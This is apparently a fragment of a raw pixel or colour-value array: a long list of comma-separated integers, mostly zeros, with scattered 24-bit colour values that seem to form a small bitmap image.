,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,3827382,16777215,16758374,3827382,16777215,16767888,3801088,0,0,0,0,6731519,16777179,9452032,14906,6731483,14417919,16777215,14399078,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,14992,14417919,11964474,3816080,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6699622,11993087,16777179,9452032,0,0,0,0,102,11993087,16777215,16758374,0,6731519,16777215,16767888,3801088,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,3827382,16777215,16758374,3827382,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,14906,6731483,14417919,16777215,14399078,0,0,0,0,0,102,11983871,16777215,16758374,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,11953722,0,0,0,0,0,0,14992,14417919,16767888,6721755,16777215,14399078,0,0,0,0,0,6731519,16777215,11964518,9483995,14417919,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,3827382,16777215,16758374,3827382,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,9474230,11974288,6699520,0,0,58,9483958,11974288,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,11974326,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983835,14408667,14408667,14408667,14408667,14408630,9452032,0,14950,9483958,11974246,3801088,0,0,0,0,0,0,0,0,0,102,11983835,14408667,14408667,14408667,14408667,14408667,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9474230,11974326,11964518,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3838134,11974326,11974288,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,